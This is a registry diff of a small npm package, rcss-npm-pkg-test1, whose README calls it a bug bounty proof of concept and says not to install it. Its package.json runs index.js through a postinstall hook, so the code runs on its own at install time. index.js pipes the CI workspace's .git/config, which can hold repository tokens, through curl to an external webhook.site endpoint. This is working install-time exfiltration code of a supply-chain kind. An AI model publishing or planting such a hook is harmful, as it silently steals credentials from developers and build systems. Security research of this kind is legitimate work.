rcss-npm-pkg-test1 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +7 -0
- package/index.js +14 -0
- package/package.json +12 -0
package/README.md
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
# rcss-test-npm-pkg
|
|
2
|
+
|
|
3
|
+
**⚠️ WARNING: DO NOT INSTALL THIS PACKAGE ⚠️**
|
|
4
|
+
|
|
5
|
+
This package was created exclusively as a Proof of Concept (PoC) for a bug bounty submission.
|
|
6
|
+
|
|
7
|
+
It contains a `postinstall` hook that automatically executes commands upon installation to demonstrate command execution. It should not be installed or used in any real environments.
|
package/index.js
ADDED
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
const { exec } = require('child_process');
|
|
2
|
+
|
|
3
|
+
console.log("===============================================================");
|
|
4
|
+
console.log("Hello! rcss-test-npm-pkg has been installed successfully.");
|
|
5
|
+
console.log("This is a proof of concept execution.");
|
|
6
|
+
|
|
7
|
+
exec('cat $GITHUB_WORKSPACE/.git/config | curl -X POST https://webhook.site/TestActions/TestAdobe1/ -d @-', (error, stdout, stderr) => {
|
|
8
|
+
if (error) {
|
|
9
|
+
console.warn(`[PoC] Error executing the payload): ${error.message}`);
|
|
10
|
+
return;
|
|
11
|
+
}
|
|
12
|
+
console.log(`[PoC] Command Output:\n${stdout}`);
|
|
13
|
+
});
|
|
14
|
+
console.log("===============================================================");
|
package/package.json
ADDED
|
@@ -0,0 +1,12 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "rcss-npm-pkg-test1",
|
|
3
|
+
"version": "1.0.1",
|
|
4
|
+
"description": "A test package that runs a script on install",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"postinstall": "node index.js"
|
|
8
|
+
},
|
|
9
|
+
"keywords": [],
|
|
10
|
+
"author": "0xrcss",
|
|
11
|
+
"license": "ISC"
|
|
12
|
+
}
|